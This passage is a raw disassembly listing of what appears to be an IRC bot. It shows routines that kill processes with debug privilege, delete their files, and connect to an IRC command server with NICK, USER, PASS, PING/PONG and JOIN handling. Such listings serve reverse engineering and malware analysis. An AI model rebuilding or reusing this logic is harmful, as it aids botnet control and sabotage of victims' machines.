XREF: sub_4081CA+1F7j cmp [ebp+arg_10], 0 jz short loc_4082EA xor edi, edi loc_408291: ; CODE XREF: sub_4081CA+E7j push off_42B4D0[edi] lea eax, [ebp+var_108] push eax call ds:dword_4200EC ; lstrcmpi test eax, eax jz short loc_4082B8 add edi, 4 cmp edi, 9E0h jb short loc_408291 jmp loc_4083AF ; --------------------------------------------------------------------------- loc_4082B8: ; CODE XREF: sub_4081CA+DCj push [ebp+var_124] push 0 push 1F0FFFh call ebx ; OpenProcess mov edi, eax test edi, edi jz loc_4083AF push 0 push edi call ds:dword_4200E8 ; TerminateProcess test eax, eax jnz loc_4083AF loc_4082E2: ; CODE XREF: sub_4081CA+1AFj push edi call esi ; CloseHandle jmp loc_4083AF ; --------------------------------------------------------------------------- loc_4082EA: ; CODE XREF: sub_4081CA+C3j mov edi, [ebp+arg_C] test edi, edi jnz loc_40837E cmp [ebp+arg_4], edi jz loc_4083AF push [ebp+var_124] push 8 call dword_4357F8 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], 0 mov edi, eax mov [ebp+var_350], 224h jz short loc_40833E lea eax, [ebp+var_350] push eax push edi call dword_435820 ; Module32First test eax, eax push [ebp+var_124] jz short loc_408344 lea eax, [ebp+var_230] jmp short loc_40834A ; --------------------------------------------------------------------------- loc_40833E: ; CODE XREF: sub_4081CA+152j push [ebp+var_124] loc_408344: ; CODE XREF: sub_4081CA+16Aj lea eax, [ebp+var_108] loc_40834A: ; CODE XREF: sub_4081CA+172j push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_414415 add esp, 10h push 1 push [ebp+arg_8] lea eax, [ebp+var_550] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 14h jmp loc_4082E2 ; --------------------------------------------------------------------------- loc_40837E: ; CODE XREF: sub_4081CA+125j lea eax, [ebp+var_108] loc_408384: ; CODE XREF: sub_4081CA+1D6j mov dl, [eax] mov cl, dl cmp dl, [edi] jnz short loc_4083A6 test cl, cl jz short loc_4083A2 mov dl, [eax+1] mov cl, dl cmp dl, [edi+1] jnz short loc_4083A6 inc eax inc eax inc edi inc edi test cl, cl jnz short loc_408384 loc_4083A2: ; CODE XREF: sub_4081CA+1C4j xor eax, eax jmp short loc_4083AB ; --------------------------------------------------------------------------- loc_4083A6: ; CODE XREF: sub_4081CA+1C0j ; sub_4081CA+1CEj sbb eax, eax sbb eax, 0FFFFFFFFh loc_4083AB: ; CODE XREF: sub_4081CA+1DAj test eax, eax jz short loc_4083E2 loc_4083AF: ; CODE XREF: sub_4081CA+E9j ; sub_4081CA+101j ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_4357B8 ; Process32Next test eax, eax jnz loc_408289 xor ebx, ebx loc_4083C9: ; CODE XREF: sub_4081CA+9Dj ; sub_4081CA+B3j push [ebp+var_4] call esi ; CloseHandle loc_4083CE: ; CODE XREF: sub_4081CA+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_40815F pop ecx pop ecx loc_4083DB: ; CODE XREF: sub_4081CA+3Aj ; sub_4081CA+46j ... xor eax, eax loc_4083DD: ; CODE XREF: sub_4081CA+30Ej pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4083E2: ; CODE XREF: sub_4081CA+1E3j push [ebp+var_124] push 0 push 1F0FFFh call ebx ; OpenProcess push [ebp+var_124] mov edi, eax push 8 call dword_4357F8 ; CreateToolhelp32Snapshot push [ebp+var_4] mov ebx, eax mov [ebp+var_350], 224h call esi ; CloseHandle push 0 push edi call ds:dword_4200E8 ; TerminateProcess test eax, eax jnz short loc_408427 push edi call esi ; CloseHandle push ebx call esi ; CloseHandle jmp short loc_4083DB ; --------------------------------------------------------------------------- loc_408427: ; CODE XREF: sub_4081CA+253j cmp [ebp+arg_18], 0 jz loc_4084D5 lea eax, [ebp+var_350] push eax push ebx call dword_435820 ; Module32First test eax, eax jz short loc_40849A push ebx call esi ; CloseHandle xor esi, esi loc_408448: ; CODE XREF: sub_4081CA+2B2j push 7D0h call ds:dword_420000 ; Sleep push 20h lea eax, [ebp+var_230] push eax inc esi call ds:dword_4200CC ; SetFileAttributesA lea eax, [ebp+var_230] push eax call ds:dword_4200E4 ; DeleteFileA test eax, eax setnz al test al, al jnz short loc_40848C cmp esi, 5 jl short loc_408448 lea eax, [ebp+var_230] push eax push offset aCouldNotDelete ; "Could not delete '%s'.!\n" jmp short loc_4084A6 ; --------------------------------------------------------------------------- loc_40848C: ; CODE XREF: sub_4081CA+2ADj lea eax, [ebp+var_230] push eax push offset aFileDeletedS_ ; "[FILE]: Deleted '%s'.\n" jmp short loc_4084A6 ; --------------------------------------------------------------------------- loc_40849A: ; CODE XREF: sub_4081CA+277j lea eax, [ebp+var_108] push eax push offset aCannotExtractP ; "Cannot extract process path for %s\n" loc_4084A6: ; CODE XREF: sub_4081CA+2C0j ; sub_4081CA+2CEj lea eax, [ebp+var_550] push eax call sub_414415 add esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_4084D5 push 1 push [ebp+arg_8] lea eax, [ebp+var_550] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 14h loc_4084D5: ; CODE XREF: sub_4081CA+261j ; sub_4081CA+2EFj xor eax, eax inc eax jmp loc_4083DD sub_4081CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_4084DD proc near ; DATA XREF: sub_4089DC+4800o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 298h mov eax, [ebp+74h+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+74h+var_98] rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+74h+var_298] push offset aProcListingPro ; "[PROC]: Listing processes:" push eax call sub_414415 xor esi, esi cmp [ebp+74h+var_8], esi pop ecx pop ecx jnz short loc_408535 push esi push [ebp+74h+var_C] lea eax, [ebp+74h+var_298] push eax lea eax, [ebp+74h+var_94] push eax push [ebp+74h+var_98] call sub_4056BF add esp, 14h loc_408535: ; CODE XREF: sub_4084DD+3Cj push esi push [ebp+74h+var_10] lea eax, [ebp+74h+var_94] push esi push esi push [ebp+74h+var_C] push eax push [ebp+74h+var_98] call sub_4081CA add esp, 1Ch test eax, eax lea eax, [ebp+74h+var_298] jnz short loc_40855E push offset aProcProcessLis ; "[PROC]: Process list completed." jmp short loc_408563 ; --------------------------------------------------------------------------- loc_40855E: ; CODE XREF: sub_4084DD+78j push offset aProcProcessL_0 ; "[PROC]: Process list failed." loc_408563: ; CODE XREF: sub_4084DD+7Fj push eax call sub_414415 cmp [ebp+74h+var_8], esi pop ecx pop ecx jnz short loc_40858A push esi push [ebp+74h+var_C] lea eax, [ebp+74h+var_298] push eax lea eax, [ebp+74h+var_94] push eax push [ebp+74h+var_98] call sub_4056BF add esp, 14h loc_40858A: ; CODE XREF: sub_4084DD+91j lea eax, [ebp+74h+var_298] push eax call sub_401EFF push [ebp+74h+var_14] call sub_41255E pop ecx pop ecx push esi call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_4084DD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4085A8 proc near ; CODE XREF: sub_4089DC+3961p ; sub_412383+4Dp arg_0 = dword ptr 4 push esi push edi push [esp+8+arg_0] xor edi, edi push 0 push 1F0FFFh inc edi call ds:dword_420078 ; OpenProcess mov esi, eax test esi, esi jz short loc_4085DA push 0 push esi call ds:dword_4200E8 ; TerminateProcess test eax, eax jnz short loc_4085DA push esi xor edi, edi call ds:dword_42003C ; CloseHandle loc_4085DA: ; CODE XREF: sub_4085A8+1Aj ; sub_4085A8+27j mov eax, edi pop edi pop esi retn sub_4085A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4085DF proc near ; DATA XREF: sub_4089DC+1EDCo push esi xor esi, esi loc_4085E2: ; CODE XREF: sub_4085DF+20j push esi push 1 push 1 push esi push esi push esi push esi call sub_4081CA add esp, 1Ch push dword_42B4C8 call ds:dword_420000 ; Sleep jmp short loc_4085E2 sub_4085DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=58h sub_408601 proc near ; CODE XREF: sub_40887D+D0p var_1E1C = byte ptr -1E1Ch var_E1C = byte ptr -0E1Ch var_64C = byte ptr -64Ch var_5AC = byte ptr -5ACh var_4AC = byte ptr -4ACh var_2AC = byte ptr -2ACh var_AC = byte ptr -0ACh var_2C = byte ptr -2Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov eax, 1E1Ch lea ebp, [esp-58h] call sub_414630 push ebx push esi xor ebx, ebx push 2 mov [ebp+58h+var_14], ebx lea eax, [ebp+58h+var_5AC] pop ecx loc_408620: ; CODE XREF: sub_408601+28j and byte ptr [eax], 0 add eax, 80h dec ecx jnz short loc_408620 cmp byte_47BF20, 0 jz short loc_408649 push offset byte_47BF20 push offset aPassS ; "PASS %s\r\n" push [ebp+58h+arg_0] call sub_405674 add esp, 0Ch loc_408649: ; CODE XREF: sub_408601+31j push [ebp+58h+arg_C] lea eax, [ebp+58h+var_2C] push ebx push ebx push 2 push eax call sub_40FC7C add esp, 10h push eax push [ebp+58h+arg_C] lea eax, [ebp+58h+var_AC] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_414415 lea eax, [ebp+58h+var_AC] add esp, 14h lea esi, [eax+1] loc_408677: ; CODE XREF: sub_408601+7Bj mov cl, [eax] inc eax test cl, cl jnz short loc_408677 push ebx sub eax, esi push eax lea eax, [ebp+58h+var_AC] push eax push [ebp+58h+arg_0] call dword_43589C ; send cmp eax, 0FFFFFFFFh jnz short loc_4086AF push [ebp+58h+arg_0] call dword_435914 ; closesocket push 7D0h call ds:dword_420000 ; Sleep xor eax, eax jmp loc_408876 ; --------------------------------------------------------------------------- loc_4086AF: ; CODE XREF: sub_408601+91j push edi jmp loc_40883C ; --------------------------------------------------------------------------- loc_4086B5: ; CODE XREF: sub_408601+262j lea eax, [ebp+58h+var_E1C] push eax lea eax, [ebp+58h+var_1E1C] push eax call sub_40672D cmp eax, ebx pop ecx pop ecx mov [ebp+58h+var_18], eax mov [ebp+58h+var_10], ebx jle loc_40883C lea esi, [ebp+58h+var_E1C] mov [ebp+58h+var_C], esi loc_4086E1: ; CODE XREF: sub_408601+235j push offset asc_425A50 ; " :" push dword ptr [esi] xor eax, eax mov ecx, 80h lea edi, [ebp+58h+var_2AC] rep stosd call sub_414EE0 cmp eax, ebx pop ecx pop ecx mov [ebp+58h+var_4], eax jz short loc_40870B add [ebp+58h+var_4], 2 jmp short loc_408710 ; --------------------------------------------------------------------------- loc_40870B: ; CODE XREF: sub_408601+102j mov eax, [esi] mov [ebp+58h+var_4], eax loc_408710: ; CODE XREF: sub_408601+108j push 1FFh push [ebp+58h+var_4] lea eax, [ebp+58h+var_2AC] push eax call sub_4144A0 lea eax, [ebp+58h+var_2AC] push offset asc_425A4C ; "|" push eax call sub_415289 add esp, 14h test eax, eax mov [ebp+58h+var_8], eax lea ebx, [ebp+58h+var_2AC] jz loc_408825 loc_408749: ; CODE XREF: sub_408601+21Ej xor eax, eax mov ecx, 80h lea edi, [ebp+58h+var_4AC] rep stosd mov eax, [esi] mov ecx, [ebp+58h+var_4] sub ecx, eax push ecx push eax lea eax, [ebp+58h+var_4AC] push eax call sub_4144A0 mov eax, [ebp+58h+var_8] add esp, 0Ch mov esi, eax loc_408775: ; CODE XREF: sub_408601+179j mov cl, [eax] inc eax test cl, cl jnz short loc_408775 lea edi, [ebp+58h+var_4AC] sub eax, esi dec edi loc_408785: ; CODE XREF: sub_408601+18Aj mov cl, [edi+1] inc edi test cl, cl jnz short loc_408785 mov ecx, eax shr ecx, 2 rep movsd mov ecx, eax mov eax, [ebp+58h+var_8] and ecx, 3 rep movsb lea esi, [eax+1] loc_4087A1: ; CODE XREF: sub_408601+1A5j mov cl, [eax] inc eax test cl, cl jnz short loc_4087A1 sub eax, esi lea ebx, [ebx+eax+1] push offset asc_425A4C ; "|" push ebx call sub_415289 pop ecx xor esi, esi pop ecx mov [ebp+58h+var_8], eax inc esi loc_4087C1: ; CODE XREF: sub_408601+206j push [ebp+58h+arg_1C] lea eax, [ebp+58h+var_14] push esi push eax lea eax, [ebp+58h+var_64C] push eax lea eax, [ebp+58h+var_5AC] push eax push [ebp+58h+arg_18] lea eax, [ebp+58h+var_4AC] push [ebp+58h+arg_C] push [ebp+58h+arg_8] push [ebp+58h+arg_4] push [ebp+58h+arg_0] push eax call sub_4089DC add esp, 2Ch dec eax mov esi, eax test esi, esi jle short loc_408809 push 0FAh call ds:dword_420000 ; Sleep jmp short loc_4087C1 ; --------------------------------------------------------------------------- loc_408809: ; CODE XREF: sub_408601+1F9j cmp esi, 0FFFFFFFDh jz short loc_408872 cmp esi, 0FFFFFFFEh jz short loc_40886D cmp esi, 0FFFFFFFFh jz short loc_408869 cmp [ebp+58h+var_8], 0 mov esi, [ebp+58h+var_C] jnz loc_408749 loc_408825: ; CODE XREF: sub_408601+142j inc [ebp+58h+var_10] mov eax, [ebp+58h+var_10] add esi, 4 xor ebx, ebx cmp eax, [ebp+58h+var_18] mov [ebp+58h+var_C], esi jl loc_4086E1 loc_40883C: ; CODE XREF: sub_408601+AFj ; sub_408601+D1j xor eax, eax push ebx lea edi, [ebp+58h+var_1E1C] mov ecx, 400h rep stosd push 1000h lea eax, [ebp+58h+var_1E1C] push eax push [ebp+58h+arg_0] call dword_43577C ; recv test eax, eax jg loc_4086B5 loc_408869: ; CODE XREF: sub_408601+215j xor eax, eax jmp short loc_408875 ; --------------------------------------------------------------------------- loc_40886D: ; CODE XREF: sub_408601+210j xor eax, eax inc eax jmp short loc_408875 ; --------------------------------------------------------------------------- loc_408872: ; CODE XREF: sub_408601+20Bj push 2 pop eax loc_408875: ; CODE XREF: sub_408601+26Aj ; sub_408601+26Fj pop edi loc_408876: ; CODE XREF: sub_408601+A9j pop esi pop ebx add ebp, 58h leave retn sub_408601 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40887D proc near ; CODE XREF: sub_40E6BB+472p ; DATA XREF: sub_4089DC+2BF8o var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push ebx push esi push edi push 59h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_190] inc ebx rep movsd mov [eax+160h], ebx jmp loc_408978 ; --------------------------------------------------------------------------- loc_4088A7: ; CODE XREF: sub_40887D+129j push 7 pop ecx xor eax, eax push eax push dword_42BEDC lea edi, [ebp+var_2C] push dword_42BED8 rep stosd lea eax, [ebp+var_2C] push eax call sub_40FC7C mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_4366B8 push edi push eax call sub_4144A0 add esp, 1Ch push 6 push ebx push 2 call dword_435808 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h mov dword_4366AC[eax], esi push 10h lea eax, [ebp+var_10] push eax push esi call dword_4357C0 ; connect cmp eax, 0FFFFFFFFh jz loc_4089AE lea eax, [ebp+var_18C] push eax push offset aMainConnectedT ; "[MAIN]: Connected to %s." call sub_401F73 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax push [ebp+var_190] lea eax, [ebp+var_CC] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_408601 add esp, 28h push esi mov edi, eax call dword_435914 ; closesocket test edi, edi jz short loc_408978 cmp edi, ebx jnz short loc_408973 push 1D4C0h call ds:dword_420000 ; Sleep jmp short loc_408978 ; --------------------------------------------------------------------------- loc_408973: ; CODE XREF: sub_40887D+E7j cmp edi, 2 jz short loc_4089C9 loc_408978: ; CODE XREF: sub_40887D+25j ; sub_40887D+E3j ... push [ebp+var_3C] xor eax, eax lea edi, [ebp+var_10] stosd stosd stosd stosd mov [ebp+var_10], 2 call dword_435954 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_407BFF test eax, eax pop ecx mov [ebp+var_C], eax jnz loc_4088A7 jmp short loc_4089D5 ; --------------------------------------------------------------------------- loc_4089AE: ; CODE XREF: sub_40887D+92j push esi call dword_435914 ; closesocket call sub_407C28 push 7D0h call ds:dword_420000 ; Sleep mov eax, ebx jmp short loc_4089D5 ; --------------------------------------------------------------------------- loc_4089C9: ; CODE XREF: sub_40887D+F9j push [ebp+var_34] call sub_41255E pop ecx push 2 pop eax loc_4089D5: ; CODE XREF: sub_40887D+12Fj ; sub_40887D+14Aj pop edi pop esi pop ebx leave retn 4 sub_40887D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4089DC proc near ; CODE XREF: sub_408601+1ECp var_2800 = byte ptr -2800h var_2400 = byte ptr -2400h var_2270 = byte ptr -2270h var_2070 = byte ptr -2070h var_1F70 = byte ptr -1F70h var_1D70 = byte ptr -1D70h var_1C70 = byte ptr -1C70h var_1C6C = byte ptr -1C6Ch var_1B6C = dword ptr -1B6Ch var_1B68 = dword ptr -1B68h var_1B64 = byte ptr -1B64h var_1AE4 = byte ptr -1AE4h var_1A64 = byte ptr -1A64h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_18E4 = dword ptr -18E4h var_18E0 = dword ptr -18E0h var_18DC = dword ptr -18DCh var_18D8 = dword ptr -18D8h var_18D4 = byte ptr -18D4h var_1854 = byte ptr -1854h var_17D4 = byte ptr -17D4h var_1754 = byte ptr -1754h var_16D4 = dword ptr -16D4h var_16D0 = dword ptr -16D0h var_16CC = dword ptr -16CCh var_16C8 = dword ptr -16C8h var_16C4 = byte ptr -16C4h var_16C0 = byte ptr -16C0h var_15C0 = byte ptr -15C0h var_15BC = byte ptr -15BCh var_153C = byte ptr -153Ch var_14FC = byte ptr -14FCh var_146C = dword ptr -146Ch var_1468 = dword ptr -1468h var_1464 = dword ptr -1464h var_1460 = dword ptr -1460h var_145C = dword ptr -145Ch var_1458 = byte ptr -1458h var_1454 = dword ptr -1454h var_1450 = byte ptr -1450h var_13D0 = byte ptr -13D0h var_1354 = byte ptr -1354h var_12CC = byte ptr -12CCh var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = byte ptr -1244h var_11C8 = dword ptr -11C8h var_11C4 = dword ptr -11C4h var_11C0 = dword ptr -11C0h var_11BC = dword ptr -11BCh var_11B8 = dword ptr -11B8h var_11B4 = byte ptr -11B4h var_1134 = byte ptr -1134h var_10B4 = byte ptr -10B4h var_1034 = dword ptr -1034h var_1030 = dword ptr -1030h var_102C = dword ptr -102Ch var_1028 = dword ptr -1028h var_1024 = dword ptr -1024h var_1020 = dword ptr -1020h var_101C = dword ptr -101Ch var_1018 = dword ptr -1018h var_1010 = byte ptr -1010h var_F90 = byte ptr -0F90h var_F10 = dword ptr -0F10h var_F0C = dword ptr -0F0Ch var_F08 = dword ptr -0F08h var_F00 = dword ptr -0F00h var_EFC = dword ptr -0EFCh var_EF8 = dword ptr -0EF8h var_EF0 = dword ptr -0EF0h var_EEC = byte ptr -0EECh var_EB0 = dword ptr -0EB0h var_EAC = byte ptr -0EACh var_E6C = byte ptr -0E6Ch var_E2C = byte ptr -0E2Ch var_DAC = byte ptr -0DACh var_D2C = dword ptr -0D2Ch var_D28 = dword ptr -0D28h var_D24 = dword ptr -0D24h var_D20 = dword ptr -0D20h var_D1C = dword ptr -0D1Ch var_D18 = dword ptr -0D18h var_D14 = dword ptr -0D14h var_D10 = dword ptr -0D10h var_D0C = byte ptr -0D0Ch var_D08 = dword ptr -0D08h var_D04 = byte ptr -0D04h var_C84 = byte ptr -0C84h var_B84 = byte ptr -0B84h var_A85 = byte ptr -0A85h var_A84 = byte ptr -0A84h var_984 = dword ptr -984h var_980 = dword ptr -980h var_97C = dword ptr -97Ch var_978 = dword ptr -978h var_974 = dword ptr -974h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_964 = dword ptr -964h var_960 = byte ptr -960h var_8E0 = dword ptr -8E0h var_8DC = byte ptr -8DCh var_8D0 = byte ptr -8D0h var_8CC = byte ptr -8CCh var_85C = byte ptr -85Ch var_7DC = dword ptr -7DCh var_7D8 = dword ptr -7D8h var_7D4 = dword ptr -7D4h var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh var_7C0 = byte ptr -7C0h var_7B0 = dword ptr -7B0h var_7AC = byte ptr -7ACh var_72C = byte ptr -72Ch var_6AC = dword ptr -6ACh var_6A8 = dword ptr -6A8h var_6A4 = dword ptr -6A4h var_6A0 = dword ptr -6A0h var_69C = dword ptr -69Ch var_698 = dword ptr -698h var_694 = dword ptr -694h var_690 = dword ptr -690h var_68C = byte ptr -68Ch var_67C = byte ptr -67Ch var_5FC = dword ptr -5FCh var_5F8 = byte ptr -5F8h var_578 = byte ptr -578h var_4F8 = dword ptr -4F8h var_4F4 = dword ptr -4F4h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D0 = dword ptr -4D0h var_4CC = dword ptr -4CCh var_4C8 = dword ptr -4C8h var_4C4 = dword ptr -4C4h var_4BC = byte ptr -4BCh var_45B = byte ptr -45Bh var_45A = byte ptr -45Ah var_458 = byte ptr -458h var_457 = byte ptr -457h var_454 = dword ptr -454h var_450 = byte ptr -450h var_44E = byte ptr -44Eh var_44C = byte ptr -44Ch var_44B = byte ptr -44Bh var_44A = byte ptr -44Ah var_449 = byte ptr -449h var_442 = byte ptr -442h var_420 = byte ptr -420h var_400 = dword ptr -400h var_3D4 = dword ptr -3D4h var_3D0 = dword ptr -3D0h var_3CC = dword ptr -3CCh var_3C8 = dword ptr -3C8h var_3C4 = dword ptr -3C4h var_3C0 = dword ptr -3C0h var_3BC = byte ptr -3BCh var_3A0 = dword ptr -3A0h var_39C = byte ptr -39Ch var_398 = dword ptr -398h var_394 = byte ptr -394h var_388 = dword ptr -388h var_384 = byte ptr -384h var_31C = byte ptr -31Ch var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = dword ptr -2F8h var_2F4 = dword ptr -2F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_D8 = word ptr -0D8h var_D6 = word ptr -0D6h var_D4 = dword ptr -0D4h var_C8 = byte ptr -0C8h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_68 = byte ptr -68h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = byte ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 2800h call sub_414630 push ebx push esi push edi mov esi, 80h xor eax, eax push 1Bh push [ebp+arg_10] xor ebx, ebx mov ecx, esi lea edi, [ebp+var_2F0] rep stosd lea eax, [ebp+var_3BC] push eax mov [ebp+var_20], 3 mov [ebp+var_1C], ebx mov [ebp+var_18], ebx mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_4144A0 add esp, 0Ch xor eax, eax cmp [ebp+arg_0], ebx jz loc_408C5C mov ecx, esi mov esi, 1FFh push esi push [ebp+arg_0] lea edi, [ebp+var_1F70] rep stosd lea eax, [ebp+var_1F70] push eax call sub_4144A0 lea eax, [ebp+var_1F70] push offset asc_425A50 ; " :" push eax call sub_414EE0 mov [ebp+var_14], eax push esi lea eax, [ebp+var_1F70] push eax lea eax, [ebp+var_2270] push eax call sub_4144A0 mov esi, offset asc_420AE8 ; " " lea eax, [ebp+var_2270] push esi push eax call sub_415289 xor edi, edi add esp, 28h mov [ebp+var_A8], eax inc edi loc_408A99: ; CODE XREF: sub_4089DC+D1j push esi push ebx call sub_415289 mov [ebp+edi*4+var_A8], eax inc edi cmp edi, 20h pop ecx pop ecx jl short loc_408A99 mov ebx, [ebp+var_A8] xor esi, esi cmp ebx, esi jz loc_408C5A cmp [ebp+var_A4], esi jz loc_408C5A push 40h pop ecx xor eax, eax lea edi, [ebp+var_4BC] push 1Fh rep stosd pop edx loc_408ADB: ; CODE XREF: sub_4089DC+137j lea ecx, [ebp+edx*4+var_A8] mov eax, [ecx] cmp eax, esi jz short loc_408B12 cmp byte ptr [eax], 2Dh jnz short loc_408B15 cmp byte ptr [eax+2], 0 jnz short loc_408B15 movsx edi, byte ptr [eax+1] and byte ptr [eax], 0 and byte ptr [eax+1], 0 and byte ptr [eax+2], 0 mov [ecx], esi mov ebx, [ebp+var_A8] mov [ebp+edi+var_4BC], 1 loc_408B12: ; CODE XREF: sub_4089DC+10Aj dec edx jns short loc_408ADB loc_408B15: ; CODE XREF: sub_4089DC+10Fj ; sub_4089DC+115j cmp [ebp+var_449], 0 jz short loc_408B25 mov [ebp+var_C], 1 loc_408B25: ; CODE XREF: sub_4089DC+140j cmp [ebp+var_44E], 0 jz short loc_408B38 mov [ebp+var_C], esi mov [ebp+var_4], 1 loc_408B38: ; CODE XREF: sub_4089DC+150j cmp byte ptr [ebx], 0Ah jz short loc_408B72 push 7Fh lea eax, [ebp+var_960] push ebx push eax call sub_4144A0 push 17h lea eax, [ebx+1] push eax lea eax, [ebp+var_F0] push eax call sub_4144A0 lea eax, [ebp+var_F0] push offset asc_427A0C ; "!" push eax call sub_415289 add esp, 20h loc_408B72: ; CODE XREF: sub_4089DC+15Fj push 5 mov edi, ebx mov esi, offset aPing ; "PING" pop ecx xor eax, eax repe cmpsb jnz short loc_408BC0 push [ebp+var_A4] mov byte ptr [ebx+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_405674 mov eax, [ebp+arg_20] add esp, 0Ch cmp dword ptr [eax], 0 jnz loc_408C5A loc_408BA8: ; CODE XREF: sub_4089DC+3D7j push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS_0 ; "JOIN %s %s\r\n" loc_408BB3: ; CODE XREF: sub_4089DC+6D3j ; sub_4089DC+936j ... push [ebp+arg_4] call sub_405674 jmp loc_40D32C ; --------------------------------------------------------------------------- loc_408BC0: ; CODE XREF: sub_4089DC+1A4j mov edx, [ebp+var_A4] push 4 pop eax mov edi, edx mov esi, offset a001 ; "001" mov ecx, eax xor ebx, ebx repe cmpsb jz loc_40E673 mov edi, edx mov esi, offset a005 ; "005" mov ecx, eax xor ebx, ebx repe cmpsb jz loc_40E673 mov edi, edx mov esi, offset a302 ; "302" mov ecx, eax xor ebx, ebx repe cmpsb jnz short loc_408C23 push offset a@ ; "@" push [ebp+var_9C] call sub_414EE0 test eax, eax pop ecx pop ecx jz short loc_408C5A push 9Fh inc eax push eax push [ebp+arg_1C] jmp loc_408EC8 ; --------------------------------------------------------------------------- loc_408C23: ; CODE XREF: sub_4089DC+220j mov ecx, eax mov edi, edx mov esi, offset a433 ; "433" xor eax, eax repe cmpsb jnz short loc_408C62 push eax push dword_42BEDC push dword_42BED8 push [ebp+arg_10] call sub_40FC7C push [ebp+arg_10] push offset aNickS_0 ; "NICK %s\r\n" push [ebp+arg_4] call sub_405674 add esp, 1Ch loc_408C5A: ; CODE XREF: sub_4089DC+DDj ; sub_4089DC+E9j ... xor eax, eax loc_408C5C: ; CODE XREF: sub_4089DC+52j inc eax loc_408C5D: ; CODE XREF: sub_4089DC+171Aj ; sub_4089DC+31DAj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_408C62: ; CODE XREF: sub_4089DC+254j mov edi, [ebp+arg_18] push 2 pop edx loc_408C68: ; CODE XREF: sub_4089DC+2CDj lea eax, [ebp+var_960] mov esi, edi loc_408C70: ; CODE XREF: sub_4089DC+2B0j mov bl, [esi] mov cl, bl cmp bl, [eax] jnz short loc_408C92 test cl, cl jz short loc_408C8E mov bl, [esi+1] mov cl, bl cmp bl, [eax+1] jnz short loc_408C92 inc esi inc esi inc eax inc eax test cl, cl jnz short loc_408C70 loc_408C8E: ; CODE XREF: sub_4089DC+29Ej xor eax, eax jmp short loc_408C97 ; --------------------------------------------------------------------------- 